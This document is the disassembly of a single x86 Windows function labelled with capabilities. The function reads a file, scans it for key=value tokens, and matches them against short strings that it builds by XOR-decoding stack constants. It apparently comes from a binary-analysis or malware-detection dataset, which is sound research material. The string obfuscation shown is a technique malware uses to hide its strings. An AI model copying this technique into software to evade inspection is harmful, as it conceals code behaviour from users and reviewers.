Function at 0x440080
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x509610
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x9c
push ebx
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push connect
push ecx
mov dword [ebp - 0xa8], edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4405c1
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
mov dword [ebp - 0x80], ebx
call fcn.004df51f
push ebx
mov edi, eax
push 0
push edi
mov dword [ebp - 0x18], edi
call fcn.004e14f0
add esp, 0x10
mov dword [ebp - 0x9c], 0
lea eax, [ebp - 0x9c]
push 0
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
test eax, eax
jne 0x440131
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.004df550
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [edi], 0xd0
mov ebx, 0xf
mov edx, dword [ebp + 8]
setne al
mov byte [edx], al
xor al, al
mov byte [ebp - 0x12], al
xor edx, edx
xor eax, eax
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x60], ebx
mov byte [ebp - 0x74], al
mov dword [ebp - 4], edx
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x80], eax
jbe 0x440585
mov cl, byte [eax + edi]
cmp cl, 0x20
jbe 0x4404dc
cmp cl, 0x7f
jae 0x4404dc
cmp cl, 0x3d
je 0x4404dc
mov byte [ebp - 0xa0], cl
cmp edx, ebx
jae 0x4401b7
lea eax, [edx + 1]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x74]
cmp ebx, 0x10
jb 0x4401ad
mov eax, dword [ebp - 0x74]
mov byte [eax + edx], cl
mov byte [eax + edx + 1], 0
jmp 0x4401d4
push dword [ebp - 0xa0]
mov byte [ebp - 0xa4], 0
lea ecx, [ebp - 0x74]
push dword [ebp - 0xa4]
push 1
call fcn.00402bc0
xor eax, eax
xor edi, edi
mov ebx, 0xf
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], edi
mov dword [ebp - 0x84], ebx
mov byte [ebp - 0x98], al
mov byte [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x39], 0x989596b5
mov dword [ebp - 0x35], 0x8e978d
mov byte [ebp - 0x31], 1
nop
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x39], al
inc ecx
cmp ecx, 7
jb 0x440220
lea edx, [ebp - 0x39]
mov byte [ebp - 0x31], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x440237
mov esi, dword [ebp - 0x74]
sub edx, ecx
cmp dword [ebp - 0x60], 0x10
lea ecx, [ebp - 0x74]
setae byte [ebp - 0x11]
jb 0x440252
mov ecx, esi
push edx
lea eax, [ebp - 0x39]
push eax
mov eax, dword [ebp - 0x64]
mov edx, eax
push 0
mov dword [ebp - 0x40], eax
call fcn.0046feb0
add esp, 0xc
test eax, eax
je 0x440412
mov dword [ebp - 0x5b], 0xc4a6baa4
xor ecx, ecx
mov dword [ebp - 0x57], 0x94999ab9
mov dword [ebp - 0x53], 0x8a9389
mov byte [ebp - 0x4f], 1
lea esp, [esp]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x5b], al
inc ecx
cmp ecx, 0xb
jb 0x440290
lea edx, [ebp - 0x5b]
mov byte [ebp - 0x4f], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4402a7
sub edx, ecx
lea ecx, [ebp - 0x74]
cmp byte [ebp - 0x11], al
je 0x4402ba
mov ecx, esi
push edx
mov edx, dword [ebp - 0x40]
lea eax, [ebp - 0x5b]
push eax
push 0
call fcn.0046feb0
add esp, 0xc
test eax, eax
je 0x440412
cmp byte [ebp - 0x12], 0
je 0x44049f
mov dword [ebp - 0x4e], 0x848594a4
xor ecx, ecx
mov dword [ebp - 0x4a], 0x9f88968f
mov word [ebp - 0x46], 0x100
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x4e], al
inc ecx
cmp ecx, 8
jb 0x4402f4
lea edx, [ebp - 0x4e]
mov byte [ebp - 0x45], 0
lea ecx, [edx + 1]
jmp 0x440310
mov al, byte [edx]
inc edx
test al, al
jne 0x440310
sub edx, ecx
lea ecx, [ebp - 0x74]
cmp byte [ebp - 0x11], al
je 0x440323
mov ecx, esi
mov edi, dword [ebp - 0x40]
lea eax, [ebp - 0x4e]
push edx
push eax
push 0
mov edx, edi
call fcn.0046feb0
add esp, 0xc
test eax, eax
je 0x44039c
mov dword [ebp - 0x26], 0xc4a6baa4
xor ecx, ecx
mov dword [ebp - 0x22], 0x888998a8
mov dword [ebp - 0x1e], 0x9b8c928b
mov word [ebp - 0x1a], 0x100
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0xc
jb 0x440358
lea edx, [ebp - 0x26]
mov byte [ebp - 0x19], 0
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x440370
sub edx, ecx
lea ecx, [ebp - 0x74]
cmp byte [ebp - 0x11], al
je 0x440383
mov ecx, esi
push edx
lea eax, [ebp - 0x26]
mov edx, edi
push eax
push 0
call fcn.0046feb0
add esp, 0xc
test eax, eax
jne 0x44049f
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0x44]
cmp byte [edx], 0
lea eax, [ecx + 9]
jne 0x4403ad
lea eax, [ecx + 2]
xor ecx, ecx
xor edx, edx
mov esi, 0xf
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], esi
mov byte [ebp - 0x30], cl
mov ebx, dword [ebp - 0x18]
lea edi, [eax + ebx]
mov byte [ebp - 4], 2
mov cl, byte [edi]
cmp cl, 0x20
jbe 0x440537
cmp cl, 0x7f
jae 0x440537
mov byte [ebp - 0x7c], cl
cmp edx, esi
jae 0x440510
lea eax, [edx + 1]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x30]
cmp esi, 0x10
jb 0x440405
mov eax, dword [ebp - 0x30]
mov byte [eax + edx], cl
mov byte [eax + edx + 1], 0
jmp 0x440524
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x44]
cmp byte [eax], 0
lea esi, [ecx + 9]
jne 0x440423
lea esi, [ecx + 2]
mov eax, dword [ebp - 0x18]
cmp byte [esi + eax], 0x20
jbe 0x440498
lea esp, [esp]
mov cl, byte [esi + eax]
cmp cl, 0x7f
jae 0x440492
mov byte [ebp - 0x78], cl
cmp edi, ebx
jae 0x440463
lea eax, [edi + 1]
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x98]
cmp ebx, 0x10
jb 0x440459
mov eax, dword [ebp - 0x98]
mov byte [eax + edi], cl
mov byte [eax + edi + 1], 0
jmp 0x44047a
push dword [ebp - 0x78]
mov byte [ebp - 0x7c], 0
lea ecx, [ebp - 0x98]
push dword [ebp - 0x7c]
push 1
call fcn.00402bc0
mov eax, dword [ebp - 0x18]
inc esi
mov ebx, dword [ebp - 0x84]
cmp byte [esi + eax], 0x20
jbe 0x440492
mov edi, dword [ebp - 0x88]
jmp 0x440430
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x12], 1
mov dword [ebp - 0x44], esi
mov byte [ebp - 4], 0
cmp ebx, 0x10
jb 0x4404f6
mov ecx, dword [ebp - 0x98]
inc ebx
mov eax, ecx
cmp ebx, 0x1000
jb 0x4404cd
mov ecx, dword [eax - 4]
add ebx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4405d2
push ebx
push ecx
call fcn.004df511
mov edx, dword [ebp - 0x64]
add esp, 8
jmp 0x4404f9
lea eax, [ebp - 0x74]
cmp ebx, 0x10
jb 0x4404e7
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x64], 0
mov byte [eax], 0
mov edx, dword [ebp - 0x64]
jmp 0x4404fc
mov edx, dword [ebp - 0x40]
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp eax, dword [ebp - 0x80]
jae 0x440585
mov ebx, dword [ebp - 0x60]
jmp 0x440174
push dword [ebp - 0x7c]
mov byte [ebp - 0x78], 0
lea ecx, [ebp - 0x30]
push dword [ebp - 0x78]
push 1
call fcn.00402bc0
mov cl, byte [edi + 1]
inc edi
mov esi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
cmp cl, 0x20
ja 0x4403e0
mov ecx, dword [ebp - 0xa8]
lea eax, [ebp - 0x30]
cmp ecx, eax
je 0x440556
cmp esi, 0x10
jb 0x44054c
mov eax, dword [ebp - 0x30]
push edx
push eax
call fcn.0046a350
mov esi, dword [ebp - 0x1c]
cmp esi, 0x10
jb 0x440588
mov ecx, dword [ebp - 0x30]
inc esi
mov eax, ecx
cmp esi, 0x1000
jb 0x440579
mov ecx, dword [eax - 4]
add esi, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4405d2
push esi
push ecx
call fcn.004df511
add esp, 8
jmp 0x440588
mov ebx, dword [ebp - 0x18]
push ebx
call fcn.004df550
mov ecx, dword [ebp - 0x60]
add esp, 4
cmp ecx, 0x10
jb 0x4405c1
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4405b7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4405d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004e47b0
int3